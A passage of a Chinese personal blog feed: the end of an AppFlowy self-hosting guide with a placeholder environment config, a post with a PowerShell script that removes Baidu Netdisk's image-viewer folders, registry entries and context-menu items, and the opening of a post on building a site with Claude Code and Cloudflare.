class="line">GOTRUE_SMTP_USER=1️⃣4️⃣</span><br><span class="line">GOTRUE_SMTP_PASS=1️⃣5️⃣</span><br><span class="line">GOTRUE_SMTP_ADMIN_EMAIL=1️⃣6️⃣</span><br><span class="line"></span><br><span class="line"># AppFlowy Cloud Mailer</span><br><span class="line"># Note that smtps (TLS) is always required, even for ports other than 465</span><br><span class="line">APPFLOWY_MAILER_SMTP_HOST=smtp.gmail.com</span><br><span class="line">APPFLOWY_MAILER_SMTP_PORT=465</span><br><span class="line">APPFLOWY_MAILER_SMTP_USERNAME=1️⃣4️⃣</span><br><span class="line">APPFLOWY_MAILER_SMTP_EMAIL=1️⃣6️⃣</span><br><span class="line">APPFLOWY_MAILER_SMTP_PASSWORD=1️⃣5️⃣</span><br><span class="line">APPFLOWY_MAILER_SMTP_TLS_KIND=wrapper # &quot;none&quot; &quot;wrapper&quot; &quot;required&quot; &quot;opportunistic&quot;</span><br><span class="line">GOTRUE_EXTERNAL_GOOGLE_ENABLED=false</span><br><span class="line">GOTRUE_EXTERNAL_GOOGLE_CLIENT_ID=</span><br><span class="line">GOTRUE_EXTERNAL_GOOGLE_SECRET=</span><br><span class="line">GOTRUE_EXTERNAL_GOOGLE_REDIRECT_URI=$&#123;API_EXTERNAL_URL&#125;/callback</span><br><span class="line"></span><br><span class="line"># GitHub OAuth2</span><br><span class="line">GOTRUE_EXTERNAL_GITHUB_ENABLED=false</span><br><span class="line">GOTRUE_EXTERNAL_GITHUB_CLIENT_ID=</span><br><span class="line">GOTRUE_EXTERNAL_GITHUB_SECRET=</span><br><span class="line">GOTRUE_EXTERNAL_GITHUB_REDIRECT_URI=$&#123;API_EXTERNAL_URL&#125;/callback</span><br><span class="line"></span><br><span class="line"># Discord OAuth2</span><br><span class="line">GOTRUE_EXTERNAL_DISCORD_ENABLED=false</span><br><span class="line">GOTRUE_EXTERNAL_DISCORD_CLIENT_ID=</span><br><span class="line">GOTRUE_EXTERNAL_DISCORD_SECRET=</span><br><span class="line">GOTRUE_EXTERNAL_DISCORD_REDIRECT_URI=$&#123;API_EXTERNAL_URL&#125;/callback</span><br><span class="line"></span><br><span class="line"># Apple OAuth2</span><br><span class="line">GOTRUE_EXTERNAL_APPLE_ENABLED=false</span><br><span class="line">GOTRUE_EXTERNAL_APPLE_CLIENT_ID=</span><br><span class="line">GOTRUE_EXTERNAL_APPLE_SECRET=</span><br><span class="line">GOTRUE_EXTERNAL_APPLE_REDIRECT_URI=$&#123;API_EXTERNAL_URL&#125;/callback</span><br><span class="line"></span><br><span class="line"># SAML 2.0. Refer to https://github.com/AppFlowy-IO/AppFlowy-Cloud/blob/main/doc/OKTA_SAML.md for example using Okta.</span><br><span class="line">GOTRUE_SAML_ENABLED=false</span><br><span class="line">GOTRUE_SAML_PRIVATE_KEY=</span><br><span class="line"></span><br><span class="line">APPFLOWY_S3_USE_MINIO=true</span><br><span class="line"></span><br><span class="line">APPFLOWY_S3_CREATE_BUCKET=true</span><br><span class="line"></span><br><span class="line">APPFLOWY_S3_MINIO_URL=http://$&#123;MINIO_HOST&#125;:$&#123;MINIO_PORT&#125;</span><br><span class="line"></span><br><span class="line">APPFLOWY_S3_ACCESS_KEY=$&#123;AWS_ACCESS_KEY&#125;</span><br><span class="line">APPFLOWY_S3_SECRET_KEY=$&#123;AWS_SECRET&#125;</span><br><span class="line"></span><br><span class="line">APPFLOWY_S3_BUCKET=appflowy</span><br><span class="line"></span><br><span class="line">APPFLOWY_S3_REGION=us-east-1</span><br><span class="line"></span><br><span class="line">AI_OPENAI_API_KEY=1️⃣7️⃣</span><br><span class="line"></span><br><span class="line"># If no summary model is provided, there will be no search summary when using AI search.</span><br><span class="line">AI_OPENAI_API_SUMMARY_MODEL=1️⃣9️⃣</span><br><span class="line"></span><br><span class="line">AI_AZURE_OPENAI_API_KEY=1️⃣7️⃣</span><br><span class="line">AI_AZURE_OPENAI_API_BASE=1️⃣8️⃣</span><br><span class="line">AI_AZURE_OPENAI_API_VERSION=1️⃣9️⃣</span><br><span class="line"></span><br><span class="line"># AI Service Configuration (Docker container defaults)</span><br><span class="line">AI_SERVER_PORT=5001</span><br><span class="line">AI_SERVER_HOST=ai</span><br><span class="line">AI_DATABASE_URL=postgresql+psycopg://$&#123;POSTGRES_USER&#125;:$&#123;POSTGRES_PASSWORD&#125;@$&#123;POSTGRES_HOST&#125;:$&#123;POSTGRES_PORT&#125;/$&#123;POSTGRES_DB&#125;</span><br><span class="line">AI_REDIS_URL=redis://$&#123;REDIS_HOST&#125;:$&#123;REDIS_PORT&#125;</span><br><span class="line">AI_APPFLOWY_BUCKET_NAME=$&#123;APPFLOWY_S3_BUCKET&#125;</span><br><span class="line">AI_APPFLOWY_HOST=$&#123;APPFLOWY_BASE_URL&#125;</span><br><span class="line">AI_MINIO_URL=http://$&#123;MINIO_HOST&#125;:$&#123;MINIO_PORT&#125;</span><br><span class="line"></span><br><span class="line"># Embedding Configuration</span><br><span class="line">APPFLOWY_EMBEDDING_CHUNK_SIZE=2000</span><br><span class="line">APPFLOWY_EMBEDDING_CHUNK_OVERLAP=200</span><br><span class="line"></span><br><span class="line"># =============================================================================</span><br><span class="line"># ⚙️ WORKER SERVICES: Background processing (good defaults for production)</span><br><span class="line"># =============================================================================</span><br><span class="line"></span><br><span class="line"># AppFlowy Indexer (for search functionality)</span><br><span class="line">APPFLOWY_INDEXER_ENABLED=true</span><br><span class="line">APPFLOWY_INDEXER_DATABASE_URL=postgres://$&#123;POSTGRES_USER&#125;:$&#123;POSTGRES_PASSWORD&#125;@$&#123;POSTGRES_HOST&#125;:$&#123;POSTGRES_PORT&#125;/$&#123;POSTGRES_DB&#125;</span><br><span class="line">APPFLOWY_INDEXER_REDIS_URL=redis://:$&#123;REDIS_PASSWORD&#125;@$&#123;REDIS_HOST&#125;:$&#123;REDIS_PORT&#125;</span><br><span class="line">APPFLOWY_INDEXER_EMBEDDING_BUFFER_SIZE=5000</span><br><span class="line"></span><br><span class="line">APPFLOWY_COLLABORATE_MULTI_THREAD=false</span><br><span class="line"></span><br><span class="line">APPFLOWY_COLLABORATE_REMOVE_BATCH_SIZE=100</span><br><span class="line"></span><br><span class="line"># AppFlowy Worker Service</span><br><span class="line">APPFLOWY_WORKER_REDIS_URL=redis://:$&#123;REDIS_PASSWORD&#125;@$&#123;REDIS_HOST&#125;:$&#123;REDIS_PORT&#125;</span><br><span class="line">APPFLOWY_WORKER_DATABASE_URL=postgres://$&#123;POSTGRES_USER&#125;:$&#123;POSTGRES_PASSWORD&#125;@$&#123;POSTGRES_HOST&#125;:$&#123;POSTGRES_PORT&#125;/$&#123;POSTGRES_DB&#125;</span><br><span class="line">APPFLOWY_WORKER_DATABASE_NAME=$&#123;POSTGRES_DB&#125;</span><br><span class="line"></span><br><span class="line"># =============================================================================</span><br><span class="line"># 🌐 WEB FRONTEND: AppFlowy Web interface</span><br><span class="line"># =============================================================================</span><br><span class="line"></span><br><span class="line"># AppFlowy Web</span><br><span class="line"># If your AppFlowy Web is hosted on a different domain, update this variable to the correct domain</span><br><span class="line">APPFLOWY_WEB_URL=$&#123;APPFLOWY_BASE_URL&#125;</span><br><span class="line"></span><br><span class="line"># If you are running AppFlowy Web locally for development purpose, use the following value instead</span><br><span class="line">APPFLOWY_WEB_URL=https://1️⃣:9999</span><br><span class="line"></span><br><span class="line">NGINX_PORT=9999</span><br><span class="line">NGINX_TLS_PORT=18443</span><br><span class="line"></span><br><span class="line">RUST_LOG=info</span><br><span class="line"></span><br><span class="line">CLOUDFLARE_TUNNEL_TOKEN=</span><br><span class="line"></span><br><span class="line">AI_TEST_ENABLED=true</span><br><span class="line">ADMIN_FRONTEND_PATH_PREFIX=/console</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="导入docker-compose并构建启动">导入docker-compose并构建启动</h2><p><img src="https://to.welape.com:9999/api/file_storage/accd4c6d-5eea-4f02-8924-53089136aa80/v1/blob/f5e78b8b%2Db5f5%2D4970%2Db8d7%2D36772df3f4d4/4peaIX0zsAx413ztTOo5zOTC7277bkAzovutn-xvMTs=.png" alt=""><br><img src="https://to.welape.com:9999/api/file_storage/accd4c6d-5eea-4f02-8924-53089136aa80/v1/blob/f5e78b8b%2Db5f5%2D4970%2Db8d7%2D36772df3f4d4/Nrqn14qP7XYocC02eUhk8pgxYsDSoU-C6B8J9V9Hnww=.png" alt=""><br><img src="https://to.welape.com:9999/api/file_storage/accd4c6d-5eea-4f02-8924-53089136aa80/v1/blob/f5e78b8b%2Db5f5%2D4970%2Db8d7%2D36772df3f4d4/_xErTRNRM38bZMi6ngcCV02r_BChw2GYd_x_YmdFDGg=.png" alt=""></p><h2 id="群晖的反向代理">群晖的反向代理</h2><p><img src="https://to.welape.com:9999/api/file_storage/accd4c6d-5eea-4f02-8924-53089136aa80/v1/blob/f5e78b8b%2Db5f5%2D4970%2Db8d7%2D36772df3f4d4/eSz05y6Gco43rKC6Vh9SvDgfDuWbm-ArWByLT6a4xCg=.png" alt=""><br><img src="https://to.welape.com:9999/api/file_storage/accd4c6d-5eea-4f02-8924-53089136aa80/v1/blob/f5e78b8b%2Db5f5%2D4970%2Db8d7%2D36772df3f4d4/__XZeJAf2wXnIKfQXXh9Q1_pqN_JnxujxRUEdf6U_B0=.png" alt=""><br>以防万一配置一些自定义标题，这些是我在尝试过程中解决问题添加的，没去试最后成功后这些是否还有作用。<br><img src="https://to.welape.com:9999/api/file_storage/accd4c6d-5eea-4f02-8924-53089136aa80/v1/blob/f5e78b8b%2Db5f5%2D4970%2Db8d7%2D36772df3f4d4/VVnct_tyG04fOuxSnaQFFWPLdbmsXd_DdEEvvRMWAJY=.png" alt=""></p><h2 id="最后是路由器的端口映射">最后是路由器的端口映射</h2><p><img src="https://to.welape.com:9999/api/file_storage/accd4c6d-5eea-4f02-8924-53089136aa80/v1/blob/f5e78b8b%2Db5f5%2D4970%2Db8d7%2D36772df3f4d4/qnSEOCO9m7jkwxboyAtCKGFBWTmpzJR_YHty2N4h3eQ=.png" alt=""></p><h2 id="成果">成果</h2><p>这篇文章就是使用的自部署的appflowy写的，移动端如果是苹果的话需要用外网账号下载，修改配置需要重启软件，还会卡很久。PS:我是第一次见一个手机app可以卡这么久的（绝对比你想象的要久），说明**<u>进步空间</u>**巨大。</p>]]></content>
    
    
    <summary type="html">appflowy搭建流程</summary>
    
    
    
    <category term="appflowy" scheme="https://blog.allbs.cn/categories/appflowy/"/>
    
    <category term="云笔记" scheme="https://blog.allbs.cn/categories/appflowy/%E4%BA%91%E7%AC%94%E8%AE%B0/"/>
    
    <category term="markdown" scheme="https://blog.allbs.cn/categories/appflowy/%E4%BA%91%E7%AC%94%E8%AE%B0/markdown/"/>
    
    
    <category term="app" scheme="https://blog.allbs.cn/tags/app/"/>
    
  </entry>
  
  <entry>
    <title>在把qq表情包弄到微信中时，发现了百度网盘整的烂活</title>
    <link href="https://blog.allbs.cn/posts/1776d0b2/"/>
    <id>https://blog.allbs.cn/posts/1776d0b2/</id>
    <published>2025-07-25T03:53:45.000Z</published>
    <updated>2025-11-28T06:48:01.062Z</updated>
    
    <content type="html"><![CDATA[<p>昨天弄到一套qq的动态表情包，这样的：</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/07/18d7baa551c0a6973c5d923b8d635856.png" alt="qq表情包"></p><p>因为是用百度网盘分享的，所以随即下载了一个百度网盘。</p><p>对了如果有需要的通过小程序自取(可以保存到手机相册，然后添加到微信的表情包)，在小程序的这个位置：：</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/07/ece81a8f38393f85b71662073c3f4ed9.png" alt="小程序"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/07/b68738f2c576e1524ae654e4343f7397.gif" alt="菜汪"></p><p>但是出现了一个奇怪的问题，每次浏览电脑图片时，莫名发现百度网盘居然会启动！</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/07/c7483d8fa97bf3114c208956f77fc3ae.png" alt="后台偷偷启动的网盘"></p><p>然后仔细观察了一下发现，右键菜单居然多了一个默认选项：</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/07/54235bf10a6314064ed99d5c17789a9f.png" alt="智能看图"></p><p>说实话开始压根没有把他们联想起来，重复几次查看图片网盘重启后有点回过味了，于是开始一通找，找到选项如下：</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/07/75da434c9d6f5e06df113b2e23694469.png" alt="智能看图"></p><p>不得不说百度的产品经理真tm是个鬼才，居然还能想到这种方法来保证用户的活跃…</p><p>使用everything大概找了一下：</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/07/46fa1072b3812c0766135a67c3d3ee6e.png" alt="百度的图片预览"></p><p>既然直到名称就好办了</p><p>写个脚本清除掉好了,新建文本文档重命名为<code>remove_baidu_imageviewer.ps1</code>这是一个powershell脚本，有对应的后缀名！对了我这个脚本比较激进，直接移除类似的文件和注册表、移除右键选项、还原默认图片打开方式、并创建了锁文件防止百度网盘再次生成。脚本比较激进！不确认会不会有其他影响，<strong>慎用！可参考！</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br></pre></td><td class="code"><pre><span class="line">&lt;#</span><br><span class="line">.SYNOPSIS</span><br><span class="line">  百度网盘“智能看图”功能一键清理脚本（当前用户）</span><br><span class="line"></span><br><span class="line">.DESCRIPTION</span><br><span class="line">  - 杀掉相关进程</span><br><span class="line">  - 删除程序目录和缓存目录</span><br><span class="line">  - 删除注册表残留</span><br><span class="line">  - 清理“打开方式”列表中的智能看图条目</span><br><span class="line">  - 可选恢复图片默认打开方式</span><br><span class="line">  - 可选创建锁文件，阻止目录再次生成</span><br><span class="line"></span><br><span class="line">.NOTES</span><br><span class="line">  请以管理员身份运行！</span><br><span class="line">#&gt;</span><br><span class="line"></span><br><span class="line"># ------------------------ 配置区 ------------------------</span><br><span class="line"># 是否恢复默认打开方式（默认 false）</span><br><span class="line">$RestoreAssoc = $false</span><br><span class="line"></span><br><span class="line"># 要恢复的扩展名和 ProgId (Win11 照片常见 ProgId，可能不同版本不同)</span><br><span class="line">$ImageExts = &#x27;.jpg&#x27;,&#x27;.jpeg&#x27;,&#x27;.png&#x27;,&#x27;.gif&#x27;,&#x27;.bmp&#x27;,&#x27;.webp&#x27;,&#x27;.tif&#x27;,&#x27;.tiff&#x27;,&#x27;.heic&#x27;</span><br><span class="line">$ProgId    = &#x27;AppX4hxtad77fbk3jkkeerkrm0ze94wjf3s9&#x27;</span><br><span class="line"></span><br><span class="line"># 防止再次生成的目录（用“锁文件”占位）</span><br><span class="line">$LockTargets = @(</span><br><span class="line">  (Join-Path $env:APPDATA      &#x27;baidu\BaiduNetdisk\module\ImageViewer&#x27;)</span><br><span class="line">  # 如有需要可加入 Temp 缓存目录，但 Temp 本身会清理，不建议锁死</span><br><span class="line">  # (Join-Path $env:LOCALAPPDATA &#x27;Temp\baidu\ImageViewer&#x27;)</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"># OpenWith 清理时用于匹配的关键字</span><br><span class="line">$Keywords = &#x27;baidu&#x27;,&#x27;imageviewer&#x27;,&#x27;smartpic&#x27;,&#x27;bdimageviewer&#x27;,&#x27;baidunetdiskimageviewer&#x27;</span><br><span class="line"># --------------------------------------------------------</span><br><span class="line"></span><br><span class="line">Write-Host &quot;========== 百度网盘“智能看图”卸载脚本 ==========&quot;</span><br><span class="line">Write-Host &quot;请确认以管理员身份运行...&quot; -ForegroundColor Yellow</span><br><span class="line">Write-Host</span><br><span class="line"></span><br><span class="line"># 1. 结束相关进程</span><br><span class="line">Write-Host &quot;[1/6] 结束相关进程...&quot;</span><br><span class="line">taskkill /F /IM ImageViewer.exe    2&gt;$null</span><br><span class="line">taskkill /F /IM BaiduNetdisk*.exe  2&gt;$null</span><br><span class="line"></span><br><span class="line"># 2. 删除目录</span><br><span class="line">Write-Host &quot;[2/6] 删除程序目录...&quot;</span><br><span class="line">$DelPaths = @(</span><br><span class="line">  (Join-Path $env:APPDATA      &#x27;baidu\BaiduNetdisk\module\ImageViewer&#x27;),</span><br><span class="line">  (Join-Path $env:LOCALAPPDATA &#x27;Temp\baidu\ImageViewer&#x27;)</span><br><span class="line">)</span><br><span class="line">foreach ($p in $DelPaths) &#123;</span><br><span class="line">  if (Test-Path $p) &#123;</span><br><span class="line">    try &#123;</span><br><span class="line">      Remove-Item -Recurse -Force $p</span><br><span class="line">      Write-Host &quot;  √ 删除: $p&quot;</span><br><span class="line">    &#125; catch &#123;</span><br><span class="line">      Write-Warning &quot;  × 删除失败，请手动删除或确认无进程占用: $p&quot;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125; else &#123;</span><br><span class="line">    Write-Host &quot;  (已不存在) $p&quot;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"># 3. 删除注册表项</span><br><span class="line">Write-Host &quot;[3/6] 删除注册表项...&quot;</span><br><span class="line">$RegToDelete = @(</span><br><span class="line">  &#x27;HKCR\BaiduNetdiskImageViewerAssociations&#x27;,</span><br><span class="line">  &#x27;HKCU\Software\Baidu\BaiduNetdiskImageViewer&#x27;,</span><br><span class="line">  &#x27;HKCU\Software\Baidu\BaiduNetdisk\ImageViewer&#x27;,</span><br><span class="line">  &#x27;HKCU\Software\Classes\bdimageviewer&#x27;,</span><br><span class="line">  &#x27;HKCU\Software\Classes\bdsmartpic&#x27;,</span><br><span class="line">  &#x27;HKCU\Software\Classes\Applications\ImageViewer.exe&#x27;,</span><br><span class="line">  &#x27;HKCU\Software\Classes\Applications\bdimageviewer.exe&#x27;,</span><br><span class="line">  &#x27;HKCR\bdimageviewer&#x27;,</span><br><span class="line">  &#x27;HKCR\bdsmartpic&#x27;,</span><br><span class="line">  &#x27;HKCR\*\shell\BaiduSmartPic&#x27;,</span><br><span class="line">  &#x27;HKCR\Directory\shell\BaiduSmartPic&#x27;,</span><br><span class="line">  &#x27;HKCR\SystemFileAssociations\.jpg\shell\BaiduSmartPic&#x27;</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">foreach ($rk in $RegToDelete) &#123;</span><br><span class="line">  reg delete &quot;$rk&quot; /f &gt;nul 2&gt;&amp;1</span><br><span class="line">  if ($LASTEXITCODE -eq 0) &#123;</span><br><span class="line">    Write-Host &quot;  √ 删除 $rk&quot;</span><br><span class="line">  &#125; else &#123;</span><br><span class="line">    Write-Host &quot;  (不存在或已删除) $rk&quot;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"># HKCU\Software\RegisteredApplications\BaiduNetdiskImageViewer (删除值)</span><br><span class="line">reg delete &quot;HKCU\Software\RegisteredApplications&quot; /v &quot;BaiduNetdiskImageViewer&quot; /f &gt;nul 2&gt;&amp;1</span><br><span class="line">if ($LASTEXITCODE -eq 0) &#123;</span><br><span class="line">  Write-Host &quot;  √ 删除 RegisteredApplications 中的 BaiduNetdiskImageViewer&quot;</span><br><span class="line">&#125; else &#123;</span><br><span class="line">  Write-Host &quot;  (不存在或已删除) RegisteredApplications 中的 BaiduNetdiskImageViewer&quot;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"># 4. 从打开方式列表剔除智能看图</span><br><span class="line">Write-Host &quot;[4/6] 清理“打开方式”列表中残留...&quot;</span><br><span class="line">foreach ($ext in $ImageExts) &#123;</span><br><span class="line">  $base = &quot;HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\$ext&quot;</span><br><span class="line">  $owList = Join-Path $base &#x27;OpenWithList&#x27;</span><br><span class="line">  $owProg = Join-Path $base &#x27;OpenWithProgids&#x27;</span><br><span class="line"></span><br><span class="line">  # OpenWithList</span><br><span class="line">  if (Test-Path $owList) &#123;</span><br><span class="line">    $props = (Get-ItemProperty $owList).psobject.Properties |</span><br><span class="line">             Where-Object &#123; $_.Name -match &#x27;^[a-z]$&#x27; &#125; # a,b,c...</span><br><span class="line">    foreach ($p in $props) &#123;</span><br><span class="line">      if ($p.Value -match ($Keywords -join &#x27;|&#x27;)) &#123;</span><br><span class="line">        Write-Host &quot;  [$ext] 移除 OpenWithList: $($p.Name)=$($p.Value)&quot;</span><br><span class="line">        Remove-ItemProperty -Path $owList -Name $p.Name -Force</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    # 修复 MRUList</span><br><span class="line">    $mru = (Get-ItemProperty $owList -Name &#x27;MRUList&#x27; -ErrorAction SilentlyContinue).MRUList</span><br><span class="line">    if ($mru) &#123;</span><br><span class="line">      $valid = ($mru.ToCharArray() | Where-Object &#123; Test-Path (&quot;$owList\$_&quot;) &#125;) -join &#x27;&#x27;</span><br><span class="line">      Set-ItemProperty -Path $owList -Name &#x27;MRUList&#x27; -Value $valid -Force</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  # OpenWithProgids</span><br><span class="line">  if (Test-Path $owProg) &#123;</span><br><span class="line">    $props = (Get-ItemProperty $owProg).psobject.Properties |</span><br><span class="line">             Where-Object &#123; $_.Name -notmatch &#x27;^PS(Path|ParentPath|ChildName|Drive|Provider)$&#x27; &#125;</span><br><span class="line">    foreach ($p in $props) &#123;</span><br><span class="line">      if ($p.Name -match ($Keywords -join &#x27;|&#x27;)) &#123;</span><br><span class="line">        Write-Host &quot;  [$ext] 移除 OpenWithProgids: $($p.Name)&quot;</span><br><span class="line">        Remove-ItemProperty -Path $owProg -Name $p.Name -Force</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"># 5. 可选恢复默认打开方式</span><br><span class="line">if ($RestoreAssoc) &#123;</span><br><span class="line">  Write-Host &quot;[5/6] 恢复默认打开方式 -&gt; $ProgId&quot;</span><br><span class="line">  foreach ($ext in $ImageExts) &#123;</span><br><span class="line">    $path = &quot;HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\$ext\UserChoice&quot;</span><br><span class="line">    if (Test-Path $path) &#123; Remove-Item $path -Recurse -Force &#125;</span><br><span class="line">    New-Item $path -Force | Out-Null</span><br><span class="line">    New-ItemProperty -Path $path -Name &#x27;ProgId&#x27; -Value $ProgId -Force | Out-Null</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"># 6. 创建锁文件防止再次生成</span><br><span class="line">Write-Host &quot;[6/6] 创建锁文件防止目录再生...&quot;</span><br><span class="line">foreach ($t in $LockTargets) &#123;</span><br><span class="line">  try &#123;</span><br><span class="line">    if (Test-Path $t) &#123;</span><br><span class="line">      if ((Get-Item $t).PSIsContainer) &#123;</span><br><span class="line">        Remove-Item -Recurse -Force $t</span><br><span class="line">      &#125; else &#123;</span><br><span class="line">        attrib +R $t</span><br><span class="line">        Write-Host &quot;  (已存在锁文件) $t&quot;</span><br><span class="line">        continue</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    New-Item $t -ItemType File -Force | Out-Null</span><br><span class="line">    attrib +R $t</span><br><span class="line">    Write-Host &quot;  √ Locked: $t&quot;</span><br><span class="line">  &#125; catch &#123;</span><br><span class="line">    Write-Warning &quot;  × 无法锁定 $t：$($_.Exception.Message)&quot;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">Write-Host</span><br><span class="line">Write-Host &quot;========== 完成 ==========&quot;</span><br><span class="line">Write-Host &quot;建议重启资源管理器或重启电脑以确保所有更改生效。&quot;</span><br><span class="line">Write-Host &quot;如仍在“打开方式”出现残留，可手动检查上述注册表路径或反馈我继续调整。&quot; -ForegroundColor Yellow</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>运行后可以看到选项已删除：</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/07/b57de7ce3a4208e73912859ecbd2e863.png" alt="右键中内容不再存在"></p>]]></content>
    
    
    <summary type="html">在把qq表情包弄到微信中时，发现了百度网盘整的烂活</summary>
    
    
    
    <category term="工具" scheme="https://blog.allbs.cn/categories/%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
  </entry>
  
  <entry>
    <title>使用claude code + cloudflare上线一个工具下载说明站</title>
    <link href="https://blog.allbs.cn/posts/997503f8/"/>
    <id>https://blog.allbs.cn/posts/997503f8/</id>
    <published>2025-07-23T07:30:00.000Z</published>
    <updated>2025-11-28T06:48:01.046Z</updated>
    
    <content type="html"><![CDATA[<p>本文是一个完整的建站、部署示例，不需要懂任何代码，在十分钟内可以上线一个属于自己的网站，供所有人进行访问。</p><p>这个网站可以是博客、外贸网站、游戏网站等等，流程都一样，区别只是内容。</p><p>有需要使用influxdb连接工具的可以试试我正在做的这个软件，全平台分发，几兆体积。不过正在做，不少功能没完善。</p><h2 id="将要使用的工具">将要使用的工具</h2><p>我采用的是<strong>Claude Code + github + cloudflare</strong>作为整个流程的支撑工具。国内Claude Code完全无法使用，github间歇性可以使用，cloudflare正常使用，所以没有科学手段的同学可以采用刚出的阿里的Qwen Code来代替Claude Code。</p><p>或者采用完全国内无门槛的工具集合——<strong>Qwen Code + gitee + 腾讯云的pages</strong>。</p><h2 id="前景提要">前景提要</h2><p>首先我需要继续声明一点，我这个示例内容是一个工具下载网站。我最近写了一个influxdb的连接工具，这个网站就是用来做展示和下载。和你们想要实现的内容完全不同，你需要在实现过程中按照<strong>你的想法</strong>修改提示词。</p><p>网站示例：<a href="https://inflowave.kkape.com/">https://inflowave.kkape.com/</a></p><h2 id="实现流程">实现流程</h2><h3 id="使用提示词开始创建网站">使用提示词开始创建网站</h3><p>我在工具代码文件夹启用Claude Code，并使用自然语言告诉它：</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/07/2b62220dfc856132564c56c025ae881e.png" alt="开始创建网站的第一步"></p><p>它会帮你分析你所提供的材料并自动生成todo List后逐步实现：</p><p><img 